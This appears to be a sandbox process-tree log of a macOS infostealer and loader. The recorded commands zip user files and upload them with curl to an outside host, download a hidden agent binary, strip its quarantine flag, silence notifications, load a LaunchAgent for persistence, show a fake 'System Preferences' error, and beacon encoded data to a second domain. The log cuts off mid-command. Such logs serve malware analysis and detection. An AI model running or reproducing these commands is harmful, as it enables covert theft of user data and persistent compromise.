/bin/shsh -c "mkdir -p '/var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/T/fe2b40d54e3bc674ecfe1207db155a39/User Files'"5⤵
-
-
/bin/bashsh -c "mkdir -p '/var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/T/fe2b40d54e3bc674ecfe1207db155a39/User Files'"5⤵
-
-
/bin/mkdirmkdir -p "/var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/T/fe2b40d54e3bc674ecfe1207db155a39/User Files"5⤵
-
-
/bin/shsh -c "ditto -c -k --sequesterRsrc '/var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/T/fe2b40d54e3bc674ecfe1207db155a39' '/var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/T/fe2b40d54e3bc674ecfe1207db155a39.zip' 2>/dev/null"5⤵
-
-
/bin/bashsh -c "ditto -c -k --sequesterRsrc '/var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/T/fe2b40d54e3bc674ecfe1207db155a39' '/var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/T/fe2b40d54e3bc674ecfe1207db155a39.zip' 2>/dev/null"5⤵
-
/usr/bin/dittoditto -c -k --sequesterRsrc /var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/T/fe2b40d54e3bc674ecfe1207db155a39 /var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/T/fe2b40d54e3bc674ecfe1207db155a39.zip6⤵
-
-
-
/bin/shsh -c "curl --fail -X POST https://lewokodwqko.icu/api/reports/upload -F \"user_id=124\" -F \"build_tag=AzureMods\" -F \"report_file=@/var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/T/fe2b40d54e3bc674ecfe1207db155a39.zip\" 2>/dev/null"5⤵
-
-
/bin/bashsh -c "curl --fail -X POST https://lewokodwqko.icu/api/reports/upload -F \"user_id=124\" -F \"build_tag=AzureMods\" -F \"report_file=@/var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/T/fe2b40d54e3bc674ecfe1207db155a39.zip\" 2>/dev/null"5⤵
-
/usr/bin/curlcurl --fail -X POST https://lewokodwqko.icu/api/reports/upload -F "user_id=124" -F "build_tag=AzureMods" -F "report_file=@/var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/T/fe2b40d54e3bc674ecfe1207db155a39.zip"6⤵
-
-
-
/bin/shsh -c "curl --fail --output '/Users/run/.hlpr/.agnt' 'https://lewokodwqko.icu/api/agent/download' 2>/dev/null"5⤵
-
-
/bin/bashsh -c "curl --fail --output '/Users/run/.hlpr/.agnt' 'https://lewokodwqko.icu/api/agent/download' 2>/dev/null"5⤵
-
/usr/bin/curlcurl --fail --output /Users/run/.hlpr/.agnt https://lewokodwqko.icu/api/agent/download6⤵
-
-
-
/bin/shsh -c "xattr -c '/Users/run/.hlpr/.agnt' 2>/dev/null"5⤵
-
-
/bin/bashsh -c "xattr -c '/Users/run/.hlpr/.agnt' 2>/dev/null"5⤵
-
/usr/bin/xattrxattr -c /Users/run/.hlpr/.agnt6⤵
-
-
-
/bin/shsh -c "chmod +x '/Users/run/.hlpr/.agnt' 2>/dev/null"5⤵
-
-
/bin/bashsh -c "chmod +x '/Users/run/.hlpr/.agnt' 2>/dev/null"5⤵
-
/bin/chmodchmod +x /Users/run/.hlpr/.agnt6⤵
-
-
-
/bin/shsh -c "defaults -currentHost write ~/Library/Preferences/ByHost/com.apple.notificationcenterui doNotDisturb -boolean true 2>/dev/null"5⤵
-
-
/bin/bashsh -c "defaults -currentHost write ~/Library/Preferences/ByHost/com.apple.notificationcenterui doNotDisturb -boolean true 2>/dev/null"5⤵
-
/usr/bin/defaultsdefaults -currentHost write /Users/run/Library/Preferences/ByHost/com.apple.notificationcenterui doNotDisturb -boolean true6⤵
-
-
-
/bin/shsh -c "killall NotificationCenter 2>/dev/null"5⤵
-
-
/bin/bashsh -c "killall NotificationCenter 2>/dev/null"5⤵
-
/usr/bin/killallkillall NotificationCenter6⤵
-
-
-
/usr/libexec/xpcproxyxpcproxy com.apple.notificationcenterui.agent5⤵
-
-
/bin/shsh -c "launchctl load /Users/run/Library/LaunchAgents/com.hlpr.agent.plist 2>/dev/null"5⤵
-
-
/bin/bashsh -c "launchctl load /Users/run/Library/LaunchAgents/com.hlpr.agent.plist 2>/dev/null"5⤵
-
/bin/launchctllaunchctl load /Users/run/Library/LaunchAgents/com.hlpr.agent.plist6⤵
-
-
-
/System/Library/CoreServices/NotificationCenter.app/Contents/MacOS/NotificationCenter/System/Library/CoreServices/NotificationCenter.app/Contents/MacOS/NotificationCenter5⤵
-
-
/usr/libexec/xpcproxyxpcproxy com.hlpr.agent5⤵
-
-
/bin/shsh -c "osascript -e 'display dialog \"Your Mac does not support application. Try reinstalling or downloading version for your system.\" with title \"System Preferences\" with icon 0 buttons {\"ОК\"}' 2>/dev/null"5⤵
-
-
/bin/bashsh -c "osascript -e 'display dialog \"Your Mac does not support application. Try reinstalling or downloading version for your system.\" with title \"System Preferences\" with icon 0 buttons {\"ОК\"}' 2>/dev/null"5⤵
-
/usr/bin/osascriptosascript -e "display dialog \"Your Mac does not support application. Try reinstalling or downloading version for your system.\" with title \"System Preferences\" with icon 0 buttons {\"ОК\"}"6⤵
-
-
-
/Users/run/.hlpr/.agnt/Users/run/.hlpr/.agnt5⤵
-
-
/bin/shsh -c "curl --fail --header \"Content-Type: text/plain\" --data \"OOzVBOVSpQSP\" https://owqkoqoqoqoqoqqoqoo.info/api/agnt"5⤵
-
-
/bin/bashsh -c "curl --fail --header \"Content-Type: text/plain\" --data \"OOzVBOVSpQSP\" https://owqkoqoqoqoqoqqoqoo.info/api/agnt"5⤵
-
-
/usr/bin/curlcurl --fail --header "Content-Type: text/plain" --data OOzVBOVSpQSP https://owqkoqoqoqoqoqqoqoo.info/api/agnt5⤵
-
-
/bin/shsh -c "system_profiler -json SPSoftwareDataType SPHardwareDataType"5⤵
-
-
/bin/bashsh -c "system_profiler -json SPSoftwareDataType SPHardwareDataType"5⤵
-
-
/usr/sbin/system_profilersystem_profiler -json SPSoftwareDataType SPHardwareDataType5⤵
-
-
/usr/bin/csrutil/usr/bin/csrutil status5⤵
-
-
/usr/libexec/xpcproxyxpcproxy com.apple.iCal.CalendarNC 7785⤵
-
-
/usr/libexec/xpcproxyxpcproxy com.apple.ncplugin.weather 7785⤵
-
-
/usr/libexec/xpcproxyxpcproxy com.apple.ncplugin.stocks 7785⤵
-
-
/System/Applications/Calendar.app/Contents/PlugIns/com.apple.iCal.CalendarNC.appex/Contents/MacOS/com.apple.iCal.CalendarNC/System/Applications/Calendar.app/Contents/PlugIns/com.apple.iCal.CalendarNC.appex/Contents/MacOS/com.apple.iCal.CalendarNC5⤵
-
-
/System/Library/CoreServices/Weather.app/Contents/PlugIns/com.apple.ncplugin.weather.appex/Contents/MacOS/com.apple.ncplugin.weather/System/Library/CoreServices/Weather.app/Contents/PlugIns/com.apple.ncplugin.weather.appex/Contents/MacOS/com.apple.ncplugin.weather5⤵
-
-
/System/Library/CoreServices/StocksWidget.app/Contents/PlugIns/com.apple.ncplugin.stocks.appex/Contents/MacOS/com.apple.ncplugin.stocks/System/Library/CoreServices/StocksWidget.app/Contents/PlugIns/com.apple.ncplugin.stocks.appex/Contents/MacOS/com.apple.ncplugin.stocks5⤵
-
-
/bin/shsh -c "curl --fail --header \"Content-Type: text/plain\" --data \"OOzVBOVStQipPOXVeXVVBiPiePitOpoSXiEzXoOQeQXPeOlleizPOEeBlVlSBilEXSplptESXozSVhztolQhBOzoilPoheBEiOolzEXOhEltQXSeBzShBPBBtQQpzhlOeStSoEttVVVSQOPVVhehhehlPohEetOPeizPQEeBQoSPoSXiEihXOzeOizOtleOehStihooSpXthzVilOEteSpQOllXzQzOVVPpEEPEtXiipzBSXPpQeSOQpXVPPPphOPOXOBeBtXEBQlOSXthzooSVlEhVeezQBSEzQtpSzPStShphetVXeSPEiQzQozeBPSEQilSetXBVVQtSlhzePOtilXeeSpESPpiBiePVXtVBoEBEBSSooXizVoOSzotEQtoPeBXOtpiBPzPSPeVBoBoPieXiQOlpVBoEPXEhhzPpBtOVtlhQpiQoiPpXeSEOoSpeilezeOiotSXpPXthpSBltBzzhtOtzEXQOzeSezXelBPQoliPplthzleezeVOQlXQXSSPEotQhPoQEiVoBOtPiePiBOpQtBEozloOQtQQXiSOioeOtSeeiiXPBoXBoVPeltphezSXltthSShtpPOzXepzhPeeEiEohizzBoEiSShXSXttipSiBeXPoEhPizEQzieStplSiPzEVlXehQpEVVOtoeVOSPEQQtSzzXhtoBiVlepEOOppPlEtltilXXolOBOVhoBQozXhioVBPSpQiiVtBSeeotEooiPEopiloelhSSVQEQSziehPPXphleEeSXVOSzElSiSPeVVBlBPoVtllhetiBPpQSzltoXOztSoPztVPVoOhPPEBXtXBPSEQilSetpBSoBXtlBhheoEOXEEBlzehPpQlOeoVpQlVVpXEBPBXoXitOEoXOSpPztEhzzhOBtEVezPetoEBlBQeQXlVSPVOOXEXQtzieEPSOltXttllezPVOBBhEBSooSzhllePEpSQOSBSzpzhhOXOQXOpPzEOPeEQOzeeeEpBiBzXVBlVVteBOPoPSphBSlotQeQztiBQoXPiEooXhBePleSESSVozXtpQtBiizhehEOEhizitPzXOVphOSePoQEhiBEBBtSQiEhQSPetpOQzQXQePPEOEEEXBzzPeiElzhhBPQiOiXOVXhhPeEQlBzoQzSpStXlozotSVVBhoVzipeOVPeVOSPEQQtQSolQppQotlehEOOeeVBEhiizoXXOiEtQVeXQQPtVSiOhSSlpSlelpSSEOopEhOiShzQeEEihppOtlhQQziXBPPoVtOOhXtizitpzOSePPetVQOtOVEtBVEEVzOzQzXpitOOoSOoeXztVhSSPEEPihPVthzSoSEOQetpBSPPXSOXVhXSeOQziXQtieXtozohhlQlBpeeOXEOVhBQeSEOStzheSzpSolzPVQiiVetoXPzQzOXOQlzteQoBOVVipplilOXOSttBeQViSXXohlohEpXElBOoPVOpPtpSQSSXSzhVhPSBlBPezeEEzeOQOhEiXOXpitQXXoQVhOQziEOzzSeVBpQitXSSXtlptPOQPEooXhBePleSBtQoOzhEeVXPoEpXtPtoPhoVlhelPoEtEloeoEBzPtlEoStSlQiVQzotBXOSzeetBEXhOEEEXBzzpVPPiSShQeBVQVQPOEBlShEptBizBzieSEplBOhzXVBSEBXphBPPohihitOSBQXSeEphzPPoQOiVXpSteEBEBlzieQQtiEVSVQXQQPtVSiohOQElzEltezPOplVoEhPBoQXEVXpEQPSVQEQSziehPoQpplzQPSXVOPOihQiOiXptBhBPoeeQEopBiBSSBSXePEpPtSSoQztVXeSXheieEopSlpOpiXpXXQXXtEOpElhPhXOzieezeOzlOXtoiiSoEoppOeipVEoVolBeSEVPBOSpBztEXziPOtXioXVzPpElSBehPtBQoiStpVhXpSXEBSXozSpeQSlhSPPoVVElhOepStPOXlBitBtOSiQXizVoXPOPOleipPzEoPEQllhlPXlpOOBXBVBSolQtiiXOPSpptttilzhhXeptiePoEEileVVpXieSiSOpQtpoEzVhlzzXtozihEzVQeSeeieVhSQeoVBzVlpEoelSVltBitPhQXzQzlPtXEOiohzzhieEthhiVthztXQPtEQQiSihPXtptiShQzieStplBSSPPolBplQVoOiSiplSStoXSzpoQPXQpeSSOlihXpitPiPeBztSiPQziitQVlVheeVizOPilpOizVVtetPioopphPzPEzpElPehQPShzhBPSBtXQpOthOiEhXiziplElSePQeloQVtXhzXXopltoiopBoteSzpPtSSoQztheXOBhOPzzVpSBpOtzllQetPhSPXXXiBtoSOzitPEXttOSpVoBXzSozppiPEthiOVXVEiPelOhS\" https://owqkoqoqoqoqoqqoqoo.info/api/agnt"5⤵
-
-
/bin/bashsh -c "curl --fail --header \"Content-Type: text/plain\" --data \"OOzVBOVStQipPOXVeXVVBiPiePitOpoSXiEzXoOQeQXPeOlleizPOEeBlVlSBilEXSplptESXozSVhztolQhBOzoilPoheBEiOolzEXOhEltQXSeBzShBPBBtQQpzhlOeStSoEttVVVSQOPVVhehhehlPohEetOPeizPQEeBQoSPoSXiEihXOzeOizOtleOehStihooSpXthzVilOEteSpQOllXzQzOVVPpEEPEtXiipzBSXPpQeSOQpXVPPPphOPOXOBeBtXEBQlOSXthzooSVlEhVeezQBSEzQtpSzPStShphetVXeSPEiQzQozeBPSEQilSetXBVVQtSlhzePOtilXeeSpESPpiBiePVXtVBoEBEBSSooXizVoOSzotEQtoPeBXOtpiBPzPSPeVBoBoPieXiQOlpVBoEPXEhhzPpBtOVtlhQpiQoiPpXeSEOoSpeilezeOiotSXpPXthpSBltBzzhtOtzEXQOzeSezXelBPQoliPplthzleezeVOQlXQXSSPEotQhPoQEiVoBOtPiePiBOpQtBEozloOQtQQXiSOioeOtSeeiiXPBoXBoVPeltphezSXltthSShtpPOzXepzhPeeEiEohizzBoEiSShXSXttipSiBeXPoEhPizEQzieStplSiPzEVlXehQpEVVOtoeVOSPEQQtSzzXhtoBiVlepEOOppPlEtltilXXolOBOVhoBQozXhioVBPSpQiiVtBSeeotEooiPEopiloelhSSVQEQSziehPPXphleEeSXVOSzElSiSPeVVBlBPoVtllhetiBPpQSzltoXOztSoPztVPVoOhPPEBXtXBPSEQilSetpBSoBXtlBhheoEOXEEBlzehPpQlOeoVpQlVVpXEBPBXoXitOEoXOSpPztEhzzhOBtEVezPetoEBlBQeQXlVSPVOOXEXQtzieEPSOltXttllezPVOBBhEBSooSzhllePEpSQOSBSzpzhhOXOQXOpPzEOPeEQOzeeeEpBiBzXVBlVVteBOPoPSphBSlotQeQztiBQoXPiEooXhBePleSESSVozXtpQtBiizhehEOEhizitPzXOVphOSePoQEhiBEBBtSQiEhQSPetpOQzQXQePPEOEEEXBzzPeiElzhhBPQiOiXOVXhhPeEQlBzoQzSpStXlozotSVVBhoVzipeOVPeVOSPEQQtQSolQppQotlehEOOeeVBEhiizoXXOiEtQVeXQQPtVSiOhSSlpSlelpSSEOopEhOiShzQeEEihppOtlhQQziXBPPoVtOOhXtizitpzOSePPetVQOtOVEtBVEEVzOzQzXpitOOoSOoeXztVhSSPEEPihPVthzSoSEOQetpBSPPXSOXVhXSeOQziXQtieXtozohhlQlBpeeOXEOVhBQeSEOStzheSzpSolzPVQiiVetoXPzQzOXOQlzteQoBOVVipplilOXOSttBeQViSXXohlohEpXElBOoPVOpPtpSQSSXSzhVhPSBlBPezeEEzeOQOhEiXOXpitQXXoQVhOQziEOzzSeVBpQitXSSXtlptPOQPEooXhBePleSBtQoOzhEeVXPoEpXtPtoPhoVlhelPoEtEloeoEBzPtlEoStSlQiVQzotBXOSzeetBEXhOEEEXBzzpVPPiSShQeBVQVQPOEBlShEptBizBzieSEplBOhzXVBSEBXphBPPohihitOSBQXSeEphzPPoQOiVXpSteEBEBlzieQQtiEVSVQXQQPtVSiohOQElzEltezPOplVoEhPBoQXEVXpEQPSVQEQSziehPoQpplzQPSXVOPOihQiOiXptBhBPoeeQEopBiBSSBSXePEpPtSSoQztVXeSXheieEopSlpOpiXpXXQXXtEOpElhPhXOzieezeOzlOXtoiiSoEoppOeipVEoVolBeSEVPBOSpBztEXziPOtXioXVzPpElSBehPtBQoiStpVhXpSXEBSXozSpeQSlhSPPoVVElhOepStPOXlBitBtOSiQXizVoXPOPOleipPzEoPEQllhlPXlpOOBXBVBSolQtiiXOPSpptttilzhhXeptiePoEEileVVpXieSiSOpQtpoEzVhlzzXtozihEzVQeSeeieVhSQeoVBzVlpEoelSVltBitPhQXzQzlPtXEOiohzzhieEthhiVthztXQPtEQQiSihPXtptiShQzieStplBSSPPolBplQVoOiSiplSStoXSzpoQPXQpeSSOlihXpitPiPeBztSiPQziitQVlVheeVizOPilpOizVVtetPioopphPzPEzpElPehQPShzhBPSBtXQpOthOiEhXiziplElSePQeloQVtXhzXXopltoiopBoteSzpPtSSoQztheXOBhOPzzVpSBpOtzllQetPhSPXXXiBtoSOzitPEXttOSpVoBXzSozppiPEthiOVXVEiPelOhS\" https://owqkoqoqoqoqoqqoqoo.info/api/agnt"5⤵
-
-
/usr/bin/curlcurl --fail --header "Content-Type: text/plain" --data OOzVBOVStQipPOXVeXVVBiPiePitOpoSXiEzXoOQeQXPeOlleizPOEeBlVlSBilEXSplptESXozSVhztolQhBOzoilPoheBEiOolzEXOhEltQXSeBzShBPBBtQQpzhlOeStSoEttVVVSQOPVVhehhehlPohEetOPeizPQEeBQoSPoSXiEihXOzeOizOtleOehStihooSpXthzVilOEteSpQOllXzQzOVVPpEEPEtXiipzBSXPpQeSOQpXVPPPphOPOXOBeBtXEBQlOSXthzooSVlEhVeezQBSEzQtpSzPStShphetVXeSPEiQzQozeBPSEQilSetXBVVQtSlhzePOtilXeeSpESPpiBiePVXtVBoEBEBSSooXizVoOSzotEQtoPeBXOtpiBPzPSPeVBoBoPieXiQOlpVBoEPXEhhzPpBtOVtlhQpiQoiPpXeSEOoSpeilezeOiotSXpPXthpSBltBzzhtOtzEXQOzeSezXelBPQoliPplthzleezeVOQlXQXSSPEotQhPoQEiVoBOtPiePiBOpQtBEozloOQtQQXiSOioeOtSeeiiXPBoXBoVPeltphezSXltthSShtpPOzXepzhPeeEiEohizzBoEiSShXSXttipSiBeXPoEhPizEQzieStplSiPzEVlXehQpEVVOtoeVOSPEQQtSzzXhtoBiVlepEOOppPlEtltilXXolOBOVhoBQozXhioVBPSpQiiVtBSeeotEooiPEopiloelhSSVQEQSziehPPXphleEeSXVOSzElSiSPeVVBlBPoVtllhetiBPpQSzltoXOztSoPztVPVoOhPPEBXtXBPSEQilSetpBSoBXtlBhheoEOXEEBlzehPpQlOeoVpQlVVpXEBPBXoXitOEoXOSpPztEhzzhOBtEVezPetoEBlBQeQXlVSPVOOXEXQtzieEPSOltXttllezPVOBBhEBSooSzhllePEpSQOSBSzpzhhOXOQXOpPzEOPeEQOzeeeEpBiBzXVBlVVteBOPoPSphBSlotQeQztiBQoXPiEooXhBePleSESSVozXtpQtBiizhehEOEhizitPzXOVphOSePoQEhiBEBBtSQiEhQSPetpOQzQXQePPEOEEEXBzzPeiElzhhBPQiOiXOVXhhPeEQlBzoQzSpStXlozotSVVBhoVzipeOVPeVOSPEQQtQSolQppQotlehEOOeeVBEhiizoXXOiEtQVeXQQPtVSiOhSSlpSlelpSSEOopEhOiShzQeEEihppOtlhQQziXBPPoVtOOhXtizitpzOSePPetVQOtOVEtBVEEVzOzQzXpitOOoSOoeXztVhSSPEEPihPVthzSoSEOQetpBSPPXSOXVhXSeOQziXQtieXtozohhlQlBpeeOXEOVhBQeSEOStzheSzpSolzPVQiiVetoXPzQzOXOQlzteQoBOVVipplilOXOSttBeQViSXXohlohEpXElBOoPVOpPtpSQSSXSzhVhPSBlBPezeEEzeOQOhEiXOXpitQXXoQVhOQziEOzzSeVBpQitXSSXtlptPOQPEooXhBePleSBtQoOzhEeVXPoEpXtPtoPhoVlhelPoEtEloeoEBzPtlEoStSlQiVQzotBXOSzeetBEXhOEEEXBzzpVPPiSShQeBVQVQPOEBlShEptBizBzieSEplBOhzXVBSEBXphBPPohihitOSBQXSeEphzPPoQOiVXpSteEBEBlzieQQtiEVSVQXQQPtVSiohOQElzEltezPOplVoEhPBoQXEVXpEQPSVQEQSziehPoQpplzQPSXVOPOihQiOiXptBhBPoeeQEopBiBSSBSXePEpPtSSoQztVXeSXheieEopSlpOpiXpXXQXXtEOpElhPhXOzieezeOzlOXtoiiSoEoppOeipVEoVolBeSEVPBOSpBztEXziPOtXioXVzPpElSBehPtBQoiStpVhXpSXEBSXozSpeQSlhSPPoVVElhOepStPOXlBitBtOSiQXizVoXPOPOleipPzEoPEQllhlPXlpOOBXBVBSolQtiiXOPSpptttilzhhXeptiePoEEileVVpXieSiSOpQtpoEzVhlzzXtozihEzVQeSeeieVhSQeoVBzVlpEoelSVltBitPhQXzQzlPtXEOiohzzhieEthhiVthztXQPtEQQiSihPXtptiShQzieStplBSSPPolBplQVoOiSiplSStoXSzpoQPXQpeSSOlihXpitPiPeBztSiPQziitQVlVheeVizOPilpOizVVtetPioopphPzPEzpElPehQPShzhBPSBtXQpOthOiEhXiziplElSePQeloQVtXhzXXopltoiopBoteSzpPtSSoQztheXOBhOPzzVpSBpOtzllQetPhSPXXXiBtoSOzitPEXttOSpVoBXzSozppiPEthiOVXVEiPelOhS https://owqkoqoqoqoqoqqoqoo.info/api/agnt5⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=47" "--launch-time-ticks=570919766" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=140"5⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=48" "--launch-time-ticks=572516843" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=97"5⤵
-
-
/bin/shsh -c "curl --fail --header \"Content-Type: text/plain\" --data \"OOzVBOVSpQiePOpVepVVQEXzEOitBtltXPPzXoOQzQQEzSllilQSSiXOlVVSSESoBPVlQiEilozQiQXSoXQh\" https://owqkoqoqoqoqoqqoqoo.info/api/agnt"5⤵
-
-
/bin/bashsh -c "curl --fail --header \"Content-Type: text/plain\" --data \"OOzVBOVSpQiePOpVepVVQEXzEOitBtltXPPzXoOQzQQEzSllilQSSiXOlVVSSESoBPVlQiEilozQiQXSoXQh\" https://owqkoqoqoqoqoqqoqoo.info/api/agnt"5⤵
-
-
/usr/bin/curlcurl --fail --header "Content-Type: text/plain" --data OOzVBOVSpQiePOpVepVVQEXzEOitBtltXPPzXoOQzQQEzSllilQSSiXOlVVSSESoBPVlQiEilozQiQXSoXQh https://owqkoqoqoqoqoqqoqoo.info/api/agnt5⤵
-
-
/bin/shsh -c "system_profiler -json SPSoftwareDataType SPHardwareDataType"5⤵
-
-
/bin/bashsh -c "system_profiler -json SPSoftwareDataType SPHardwareDataType"5⤵
-
-
/usr/sbin/system_profilersystem_profiler -json SPSoftwareDataType SPHardwareDataType5⤵
-
-
/usr/bin/csrutil/usr/bin/csrutil status5⤵
-
-
/bin/shsh -c "curl --fail --header \"Content-Type: text/plain\" --data \"OOzVBOVStQiPoOPoiihVQeeBiPithVBzBSpQXoOQpQQhzelleEtPOppBlVVzQiBVBPpopzEzXoQtzQQQSpQhBOQeXQePPEoESOXzQepzXilQhQQXXhzEPSliEBPeeiSBEEztipStPVBShVoOpVXoBzElQPtoeVOSPEQQtSzzXhhVQiQlzzeeStPiXzoSpeQPQiBOVSVPtBzoEQVhPSOpoizEopzzoiVVpoPoQXEzpElPehQPSVBEQoSleQQXOteVeoEeoEhozihBtSEXVhQhtXolPQpeepBOPpzQteepOEEtSoePlthXOBhzBeOhtSzzOXQilSSpzthVBoSOViPozthtlOPzeeBpVXQVOSiVopthzXSEoVolStSleSQBOVStpEoSzoOStElXiOBPOeOBBSeliteBOoOOlPeSlpBpzPpltioSVhtXoOoPetOhPEpEoEoVtezOoOQSSXPPQtpQESiOeieoEPXPeEQOzeezpVziSlVVhXeVBpiEVoOOepBSlEQtiSztXtBoBzEhzpEzQtpXlOQlXtiQQoVtQOloohtozooizVBeOpplilBBSEpoXEoEtzEhpoSOetoPPVQXOSzletePXEohzEeihVeQziBSoBXeBVBBQPOEtVShellBipQzllthXpOtSPXopVPXXEhXPOlXpoOSPEQQtSzzphzoBozlehhPPEePEitlzEoPQQliVOVeQhPVphVhSBQpoitBEtpOSEXopEhOihEOtiheehptiEBBQQzSXVPPPpBOiEXtizipEiiOllPXpllolSVBBVVEVBhOPzBSteSVpPtOSSQzBzhVSXESXohPzeBPSEQilSepEQzEBiPlhlVPieBBPzeSpPOeVotlEQozihtothlEioXVQeSiePXSSphzltptiBilzzohESVtEziBhPXBVQVOPVXOXEhQQEhOtPtiEPSSletXSQoSXXoPPeBEOEXllePpiOSzhXOSXioQoOVPhzeeEOipeoQOOpezXVEzOiQVBBhEpzEeeoPSepBSlEQtiQShlVhpQPzhzhEzQzeEBOViolhQQOEXlQlpXXtPteQiehSztpeieVhSSeBoQEhitehtQSXiiXetotleOQzlXpePoezEohXBzzPzpeiSShXeXVQilOlVthPEEptOoQzpEitBOtiOoEPopVhiBzEVPoVPlioePoSXSQzzphzPPoQOiVhpOeeSzEVQtzpXXozEPBlSlVoeeSPioVBzOeSVOVQzhVQotSoQiPBSiEhepXPPPQzihOXizphXoQBVSipXzilBXeittQppliSVoOhioloptpihooSPSpSzpPtSSoQztVheOBhOPzOeEeteEQOVpoXBXQQpQhPOXVhtOziVOoSSeeOQXitVOSlzltQPEOXEioXVQeSiePztQPBztEehoPoVpiBPtPXtOVlpVhPhEXolOVhihzPOtEOQtPBQieSzttBpSSopeptEXXBEOEXllepEPzQSSXSzhVXPOPOVBPzhEEzpEzBOzeeVpVlOBlPVVSElhpBOPSpBiXltpSBtoSeVptOPPPSEEVXhBpeVBOllPtpXXtEXpSlSXXtPteQizhOtelPVlpozPSelBoEVhVoSXOPQpeSSPVQXOSzleteoQEeheQPihVeXOEVQoQlXQtBVQPOpeXXopQlBESBzoePVplBSSPSopVXoBthpiSootBitopiEVXQSXQQEOEVlzPhpSzPpeeoOztBXXoiOBOEhpQteiVEiOVOSSeSVVllOSEOopEXOzPEzXEEXllXpOlSlEhSzBXpESleVzXpzoEBQXzOSpESeVhSEhOVEEhVOSEQpSOQSQipOtoziQolzQoXeSPEieEhPzehPOQlBPhPPlQtoBhOlhSoSOtilXeeSpEzXpilOXhlpppOezXVEolehppQlePQSOVStBoESehltziBozzoSeVQoBSeleBVSXVhlhzVSVEOplPhltSltlhQpiQoiPpVEOzhhPzhOVitohoPthizQXPpXOQiQizeXtEzPPhQOzeezpVlSPhXohBpBBVOBiPQtlOQttXSSEoQXXVheSOBhEhXhtpPlPSlzXBlSXzEQlQliVBPeVttOiilXSiPEVpotPzhoQphelzEtpOSSeXSSPhzeSPSOtltpOioEEEhVzzPeliBSShSehoQhlXBleQtoiVOlzoSeBpStplBSSPSopVhoXEhEiSoolSezoizPpozephPoPoXOehePepPipeVOiipPBlBlOXotpQQPzXlBEoQPOepSXBStSV\" https://owqkoqoqoqoqoqqoqoo.info/api/agnt"5⤵
-
-
/bin/bashsh -c "curl --fail --header \"Content-Type: text/plain\" --data \"OOzVBOVStQiPoOPoiihVQeeBiPithVBzBSpQXoOQpQQhzelleEtPOppBlVVzQiBVBPpopzEzXoQtzQQQSpQhBOQeXQePPEoESOXzQepzXilQhQQXXhzEPSliEBPeeiSBEEztipStPVBShVoOpVXoBzElQPtoeVOSPEQQtSzzXhhVQiQlzzeeStPiXzoSpeQPQiBOVSVPtBzoEQVhPSOpoizEopzzoiVVpoPoQXEzpElPehQPSVBEQoSleQQXOteVeoEeoEhozihBtSEXVhQhtXolPQpeepBOPpzQteepOEEtSoePlthXOBhzBeOhtSzzOXQilSSpzthVBoSOViPozthtlOPzeeBpVXQVOSiVopthzXSEoVolStSleSQBOVStpEoSzoOStElXiOBPOeOBBSeliteBOoOOlPeSlpBpzPpltioSVhtXoOoPetOhPEpEoEoVtezOoOQSSXPPQtpQESiOeieoEPXPeEQOzeezpVziSlVVhXeVBpiEVoOOepBSlEQtiSztXtBoBzEhzpEzQtpXlOQlXtiQQoVtQOloohtozooizVBeOpplilBBSEpoXEoEtzEhpoSOetoPPVQXOSzletePXEohzEeihVeQziBSoBXeBVBBQPOEtVShellBipQzllthXpOtSPXopVPXXEhXPOlXpoOSPEQQtSzzphzoBozlehhPPEePEitlzEoPQQliVOVeQhPVphVhSBQpoitBEtpOSEXopEhOihEOtiheehptiEBBQQzSXVPPPpBOiEXtizipEiiOllPXpllolSVBBVVEVBhOPzBSteSVpPtOSSQzBzhVSXESXohPzeBPSEQilSepEQzEBiPlhlVPieBBPzeSpPOeVotlEQozihtothlEioXVQeSiePXSSphzltptiBilzzohESVtEziBhPXBVQVOPVXOXEhQQEhOtPtiEPSSletXSQoSXXoPPeBEOEXllePpiOSzhXOSXioQoOVPhzeeEOipeoQOOpezXVEzOiQVBBhEpzEeeoPSepBSlEQtiQShlVhpQPzhzhEzQzeEBOViolhQQOEXlQlpXXtPteQiehSztpeieVhSSeBoQEhitehtQSXiiXetotleOQzlXpePoezEohXBzzPzpeiSShXeXVQilOlVthPEEptOoQzpEitBOtiOoEPopVhiBzEVPoVPlioePoSXSQzzphzPPoQOiVhpOeeSzEVQtzpXXozEPBlSlVoeeSPioVBzOeSVOVQzhVQotSoQiPBSiEhepXPPPQzihOXizphXoQBVSipXzilBXeittQppliSVoOhioloptpihooSPSpSzpPtSSoQztVheOBhOPzOeEeteEQOVpoXBXQQpQhPOXVhtOziVOoSSeeOQXitVOSlzltQPEOXEioXVQeSiePztQPBztEehoPoVpiBPtPXtOVlpVhPhEXolOVhihzPOtEOQtPBQieSzttBpSSopep